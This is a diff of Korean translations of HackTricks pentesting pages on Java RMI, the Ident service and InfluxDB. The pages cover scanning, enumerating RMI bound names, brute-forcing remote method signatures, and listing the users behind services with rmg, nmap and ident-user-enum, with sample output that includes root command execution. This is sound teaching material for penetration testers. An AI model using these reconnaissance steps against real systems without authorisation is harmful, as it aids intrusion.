|
||||
## 기본 정보
|
||||
|
||||
_Java Remote Method Invocation_, 또는 _Java RMI_,는 객체 지향 _RPC_ 메커니즘으로, 한 _Java 가상 머신_에 위치한 객체가 다른 _Java 가상 머신_에 위치한 객체의 메서드를 호출할 수 있게 합니다. 이를 통해 개발자는 객체 지향 패러다임을 사용하여 분산 애플리케이션을 작성할 수 있습니다. _Java RMI_에 대한 공격적인 관점에서의 간단한 소개는 [이 블랙햇 토크](https://youtu.be/t\_aw1mDNhzI?t=202)에서 찾을 수 있습니다.
|
||||
_Java 원격 메소드 호출_, 또는 _Java RMI_,는 객체 지향 _RPC_ 메커니즘으로, 한 _Java 가상 머신_에 위치한 객체가 다른 _Java 가상 머신_에 위치한 객체의 메소드를 호출할 수 있게 합니다. 이를 통해 개발자들은 객체 지향 패러다임을 사용하여 분산 애플리케이션을 작성할 수 있습니다. 공격적인 관점에서의 _Java RMI_에 대한 간단한 소개는 [이 블랙햇 토크](https://youtu.be/t\_aw1mDNhzI?t=202)에서 찾을 수 있습니다.
|
||||
|
||||
**기본 포트:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
|
@ -34,7 +34,7 @@ PORT STATE SERVICE VERSION
|
|||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
일반적으로 일반 포트에는 기본 _Java RMI_ 구성 요소인 _RMI Registry_ 및 _Activation System_만이 바인딩됩니다. 실제 _RMI_ 애플리케이션을 구현하는 _원격 객체_는 일반적으로 위의 출력에서와 같이 무작위 포트에 바인딩됩니다.
|
||||
일반적으로 기본 _Java RMI_ 구성 요소인 _RMI Registry_ 및 _Activation System_만 일반 포트에 바인딩됩니다. 실제 _RMI_ 애플리케이션을 구현하는 _원격 객체_는 일반적으로 위의 출력에서와 같이 무작위 포트에 바인딩됩니다.
|
||||
|
||||
_nmap_은 때때로 _SSL_ 보호된 _RMI_ 서비스를 식별하는 데 어려움을 겪을 수 있습니다. 일반 _RMI_ 포트에서 알 수 없는 ssl 서비스를 만나면 추가 조사해야 합니다.
|
||||
|
||||
|
@ -42,12 +42,12 @@ _nmap_은 때때로 _SSL_ 보호된 _RMI_ 서비스를 식별하는 데 어려
|
|||
|
||||
간단히 말하면, _Java RMI_는 개발자가 네트워크에서 _Java 객체_를 사용할 수 있게 합니다. 이는 클라이언트가 연결하고 해당 객체의 메서드를 호출할 수 있는 _TCP_ 포트를 엽니다. 이것이 간단해 보이지만, _Java RMI_가 해결해야 할 여러 가지 도전 과제가 있습니다:
|
||||
|
||||
1. _Java RMI_를 통해 메서드 호출을 보내려면 클라이언트가 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스, 대상 객체의 `ObjID`를 알아야 합니다 (`ObjID`는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유한 무작위 식별자입니다. _Java RMI_는 동일한 _TCP_ 포트에서 여러 객체가 수신할 수 있기 때문에 필요합니다).
|
||||
1. _Java RMI_를 통해 메서드 호출을 보내려면 클라이언트가 대상 객체의 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스, 대상 객체의 `ObjID`를 알아야 합니다 (`ObjID`는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유한 무작위 식별자입니다. _Java RMI_는 동일한 _TCP_ 포트에서 여러 객체가 수신할 수 있기 때문에 필요합니다).
|
||||
2. 원격 클라이언트는 노출된 객체의 메서드를 호출하여 서버에 리소스를 할당할 수 있습니다. _Java 가상 머신_은 이러한 리소스 중 어떤 것이 아직 사용 중이고 어떤 것이 가비지 수집될 수 있는지 추적해야 합니다.
|
||||
|
||||
첫 번째 도전 과제는 기본적으로 _Java RMI_의 네이밍 서비스인 _RMI 레지스트리_에 의해 해결됩니다. _RMI 레지스트리_ 자체도 _RMI 서비스_이지만 구현된 인터페이스와 `ObjID`는 모든 _RMI_ 클라이언트에 의해 알려져 고정되어 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트를 알고 있으면 _RMI 레지스트리_를 사용할 수 있습니다.
|
||||
첫 번째 도전 과제는 기본적으로 _Java RMI_의 네이밍 서비스인 _RMI 레지스트리_에 의해 해결됩니다. _RMI 레지스트리_ 자체도 _RMI 서비스_이지만 구현된 인터페이스와 `ObjID`는 모든 _RMI_ 클라이언트에 의해 고정되어 알려져 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트를 알고 있으면 _RMI 레지스트리_를 사용할 수 있습니다.
|
||||
|
||||
개발자가 네트워크 내에서 자신의 _Java 객체_를 사용할 수 있게 하려면 일반적으로 _RMI 레지스트리_에 바인딩합니다. _레지스트리_는 객체에 연결할 때 필요한 모든 정보 (IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스, `ObjID` 값)를 저장하고 인간이 읽을 수 있는 이름인 _바운드 이름_ 아래에서 사용할 수 있게 합니다. _RMI 서비스_를 사용하려는 클라이언트는 _RMI 레지스트리_에 해당 _바운드 이름_을 요청하고 레지스트리는 연결에 필요한 모든 정보를 반환합니다. 따라서 상황은 기본적으로 일반 _DNS_ 서비스와 동일합니다. 다음 목록은 작은 예제를 보여줍니다:
|
||||
개발자가 네트워크 내에서 자신의 _Java 객체_를 사용할 수 있게 하려면 일반적으로 그들을 _RMI 레지스트리_에 바인딩합니다. _레지스트리_는 객체에 연결할 때 필요한 모든 정보를 저장하고 (IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 `ObjID` 값) 이를 인간이 읽을 수 있는 이름 (바인딩된 이름) 아래 사용할 수 있게 합니다. _RMI 서비스_를 사용하려는 클라이언트는 _RMI 레지스트리_에 해당하는 _바인딩된 이름_을 요청하고 레지스트리는 연결에 필요한 모든 정보를 반환합니다. 따라서 상황은 사실 일반 _DNS_ 서비스와 거의 동일합니다. 다음 목록은 작은 예제를 보여줍니다:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
|
@ -71,7 +71,7 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
위에서 언급한 도전 과제 중 두 번째는 _분산 가비지 수집기_ (_DGC_)에 의해 해결됩니다. 이는 잘 알려진 `ObjID` 값이 있는 또 다른 _RMI 서비스_이며 기본적으로 각 _RMI 엔드포인트_에서 사용할 수 있습니다. _RMI 클라이언트_가 _RMI 서비스_를 사용하기 시작하면 해당 _원격 객체_가 사용 중임을 _DGC_에 정보를 보냅니다. _DGC_는 그런 다음 참조 카운트를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
|
||||
위에서 언급한 도전 과제 중 두 번째는 _분산 가비지 수집기_ (_DGC_)에 의해 해결됩니다. 이는 다른 _RMI 서비스_로, 잘 알려진 `ObjID` 값이 있으며 기본적으로 각 _RMI 엔드포인트_에서 사용할 수 있습니다. _RMI 클라이언트_가 _RMI 서비스_를 사용하기 시작하면 해당 _원격 객체_가 사용 중임을 _DGC_에 정보를 보냅니다. _DGC_는 그러면 참조 카운트를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
|
||||
|
||||
폐기된 _Activation System_과 함께, 이것들은 _Java RMI_의 세 가지 기본 구성 요소입니다:
|
||||
|
||||
|
@ -79,11 +79,11 @@ e.printStackTrace();
|
|||
2. _Activation System_ (`ObjID = 1`)
|
||||
3. _분산 가비지 수집기_ (`ObjID = 2`)
|
||||
|
||||
_Java RMI_의 기본 구성 요소는 상당한 시간 동안 알려진 공격 벡터이며 오래된 _Java_ 버전에서 여러 취약점이 존재합니다. 공격자 관점에서 이러한 기본 구성 요소는 흥미로운데, 알려진 클래스/인터페이스가 구현되어 있고 상호 작용이 쉽기 때문입니다. 이 상황은 사용자 정의 _RMI 서비스_에 대해서는 다릅니다. _원격 객체_의 메서드를 호출하려면 미리 해당 메서드 시그니처를 알아야 합니다. 기존 메서드 시그니처를 알지 못하는 경우 _RMI 서비스_와 통신할 방법이 없습니다.
|
||||
_Java RMI_의 기본 구성 요소는 상당한 시간 동안 알려진 공격 벡터이며 오래된 _Java_ 버전에서 여러 취약점이 존재합니다. 공격자 관점에서 이러한 기본 구성 요소는 흥미로운데, 알려진 클래스/인터페이스가 구현되어 있고 상호 작용이 쉽기 때문입니다. 이 상황은 사용자 정의 _RMI 서비스_에 대해서는 다릅니다. _원격 객체_의 메서드를 호출하려면 미리 해당 메서드 시그니처를 알아야 합니다. 기존 메서드 시그니처를 알지 못하는 경우, _RMI 서비스_에 통신할 방법이 없습니다.
|
||||
|
||||
## RMI 열거
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)는 공통 _RMI 취약점_을 자동으로 식별할 수 있는 _Java RMI_ 취약점 스캐너입니다. _RMI_ 엔드포인트를 식별하면 시도해 보는 것이 좋습니다:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)는 공통 _RMI 취약점_을 자동으로 식별할 수 있는 _Java RMI_ 취약점 스캐너입니다. _RMI_ 엔드포인트를 식별하면 시도해 보아야 합니다:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
|
@ -145,7 +145,7 @@ $ rmg enum 172.17.0.2 9010
|
|||
```
|
||||
Enumeration 작업의 출력은 프로젝트의 [문서 페이지](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)에서 자세히 설명되어 있습니다. 결과에 따라 식별된 취약점을 확인해야 합니다.
|
||||
|
||||
_remote-method-guesser_에 의해 표시된 `ObjID` 값은 서비스의 가동 시간을 결정하는 데 사용할 수 있습니다. 이는 다른 취약점을 식별하는 데 도움이 될 수 있습니다:
|
||||
_remote-method-guesser_에 의해 표시된 `ObjID` 값은 서비스의 가동 시간을 결정하는 데 사용될 수 있습니다. 이는 다른 취약점을 식별하는 데 도움이 될 수 있습니다:
|
||||
```
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
|
@ -158,9 +158,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|||
```
|
||||
## 원격 메소드 브루트포싱
|
||||
|
||||
열거 중 취약점이 식별되지 않았더라도 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 통신이 _RMI_ 기본 구성 요소로 이루어질 때는 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 통신할 때는 이러한 필터가 일반적으로 적용되지 않습니다. _RMI_ 서비스에서 유효한 메소드 시그니처를 알고 있는 것은 가치가 있습니다.
|
||||
열거 중에 취약점이 식별되지 않았더라도 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 통신이 _RMI_ 기본 구성 요소로 이루어질 때는 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 통신할 때는 이러한 필터가 일반적으로 적용되지 않습니다. 따라서 _RMI_ 서비스에서 유효한 메소드 시그니처를 알아내는 것은 가치가 있습니다.
|
||||
|
||||
불행히도, _Java RMI_는 _원격 객체_에서 메소드를 열거하는 것을 지원하지 않습니다. 그렇지만 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)나 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메소드 시그니처를 브루트포싱할 수 있습니다:
|
||||
불행히도, _Java RMI_는 _원격 객체_의 메소드를 열거하는 것을 지원하지 않습니다. 그렇지만 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)나 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메소드 시그니처를 브루트포스할 수 있습니다:
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
|
@ -225,11 +225,11 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
추측 외에도 _RMI_ 서비스를 만난 후에는 검색 엔진이나 _GitHub_에서 인터페이스나 심지어 구현을 찾아보아야 합니다. _바인딩 이름_과 구현된 클래스 또는 인터페이스의 이름이 여기서 도움이 될 수 있습니다.
|
||||
추측 외에도 _RMI_ 서비스를 만난 후에는 검색 엔진이나 _GitHub_에서 인터페이스나 심지어 구현을 찾아보아야 합니다. 여기서 _bound name_과 구현된 클래스 또는 인터페이스의 이름이 도움이 될 수 있습니다.
|
||||
|
||||
## 알려진 인터페이스
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)는 도구의 내부 데이터베이스에 있는 알려진 _RMI 서비스_ 목록에 나열된 클래스나 인터페이스를 `알려진`으로 표시합니다. 이러한 경우에는 해당 _RMI 서비스_에 대한 자세한 정보를 얻기 위해 `알려진` 동작을 사용할 수 있습니다:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)는 도구의 내부 데이터베이스에 있는 알려진 _RMI 서비스_ 목록에 나열된 클래스나 인터페이스를 `known`로 표시합니다. 이러한 경우에는 해당 _RMI 서비스_에 대한 자세한 정보를 얻기 위해 `known` 동작을 사용할 수 있습니다:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
|
@ -290,7 +290,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `포트:1099 자바`
|
||||
* `port:1099 java`
|
||||
|
||||
## 도구
|
||||
|
||||
|
@ -313,24 +313,24 @@ Name: Enumeration
|
|||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,30 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com) 획득
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하고, 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션을 만나보세요
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Ident 프로토콜**은 **인터넷**을 통해 **특정 사용자**와 **TCP 연결**을 연결하는 데 사용됩니다. 원래 **네트워크 관리** 및 **보안**을 돕기 위해 설계되었으며, 특정 TCP 연결의 사용자에 대한 정보를 요청하기 위해 서버가 포트 113에서 클라이언트에 쿼리할 수 있도록 작동합니다.
|
||||
**Ident 프로토콜**은 **인터넷**을 통해 **TCP 연결**을 특정 사용자와 연결하는 데 사용됩니다. **네트워크 관리** 및 **보안**을 지원하기 위해 원래 설계되었으며, 특정 TCP 연결의 사용자에 대한 정보를 요청하기 위해 서버가 포트 113에서 클라이언트에 쿼리할 수 있도록 작동합니다.
|
||||
|
||||
그러나 현대의 개인 정보 보호 문제와 남용 가능성으로 인해 무단자에게 사용자 정보를 부적절하게 노출시킬 수 있기 때문에 사용이 감소했습니다. 이러한 위험을 완화하기 위해 암호화된 연결 및 엄격한 액세스 제어와 같은 강화된 보안 조치가 권장됩니다.
|
||||
그러나 현대의 개인정보 보호 문제와 남용 가능성으로 인해 무단자에게 사용자 정보를 부적절하게 노출할 수 있기 때문에 사용이 감소했습니다. 이러한 위험을 완화하기 위해 암호화된 연결 및 엄격한 액세스 제어와 같은 강화된 보안 조치가 권장됩니다.
|
||||
|
||||
**기본 포트:** 113
|
||||
```
|
||||
|
@ -36,11 +36,11 @@ PORT STATE SERVICE
|
|||
|
||||
### **수동 - 사용자 가져오기/서비스 식별**
|
||||
|
||||
만약 머신이 ident와 samba (445) 서비스를 실행하고 있고, 당신이 포트 43218을 사용하여 samba에 연결되어 있다면, 다음을 통해 samba 서비스를 실행하는 사용자를 얻을 수 있습니다:
|
||||
만약 머신이 ident와 samba(445) 서비스를 실행하고 있고, 당신이 포트 43218을 사용하여 samba에 연결되어 있다면, 다음을 통해 samba 서비스를 실행하는 사용자를 얻을 수 있습니다:
|
||||
|
||||
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
||||
|
||||
만약 서비스에 연결할 때 엔터키만 누른다면:
|
||||
만약 서비스에 연결할 때 그냥 엔터를 누르면:
|
||||
|
||||
![](<../.gitbook/assets/image (16) (1) (1).png>)
|
||||
|
||||
|
@ -50,7 +50,7 @@ PORT STATE SERVICE
|
|||
|
||||
### Nmap
|
||||
|
||||
기본적으로 (\`-sC\`\`) nmap은 모든 실행 중인 포트의 모든 사용자를 식별할 것입니다:
|
||||
기본적으로(\`-sC\`) nmap은 모든 실행 중인 포트의 모든 사용자를 식별할 것입니다:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
|
||||
|
@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
### Ident-user-enum
|
||||
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum)은 각 TCP 포트에서 수신 대기 중인 프로세스의 소유자를 결정하기 위해 ident 서비스 (113/TCP)를 쿼리하는 간단한 PERL 스크립트입니다. 수집된 사용자 이름 목록은 다른 네트워크 서비스에 대한 암호 추측 공격에 사용할 수 있습니다. `apt install ident-user-enum`으로 설치할 수 있습니다.
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum)은 각 TCP 포트에서 듣고 있는 프로세스의 소유자를 결정하기 위해 ident 서비스 (113/TCP)를 쿼리하는 간단한 PERL 스크립트입니다. 수집된 사용자 이름 목록은 다른 네트워크 서비스에 대한 암호 추측 공격에 사용될 수 있습니다. `apt install ident-user-enum`으로 설치할 수 있습니다.
|
||||
```
|
||||
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
|
||||
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||
|
@ -81,18 +81,18 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
|||
|
||||
* `oident`
|
||||
|
||||
## 파일
|
||||
## Files
|
||||
|
||||
identd.conf
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: Ident #Protocol Abbreviation if there is one.
|
||||
Port_Number: 113 #Comma separated if there is more than one.
|
||||
|
@ -113,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# 8086 - InfluxDB Pentesting
|
||||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지의 AWS 해킹**을 배우세요!</summary>
|
||||
<summary><strong>제로부터 히어로가 되기까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF 형식으로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**InfluxDB**는 InfluxData가 개발한 오픈 소스 **시계열 데이터베이스 (TSDB)**입니다. TSDB는 타임스탬프-값 쌍으로 구성된 시계열 데이터를 저장하고 제공하는 데 최적화되어 있습니다. 일반 목적의 데이터베이스와 비교하여 TSDB는 시계열 데이터 세트의 **저장 공간** 및 **성능**에서 상당한 개선을 제공합니다. 특수한 압축 알고리즘을 사용하며 오래된 데이터를 자동으로 제거하도록 구성할 수 있습니다. 특수한 데이터베이스 인덱스도 쿼리 성능을 향상시킵니다.
|
||||
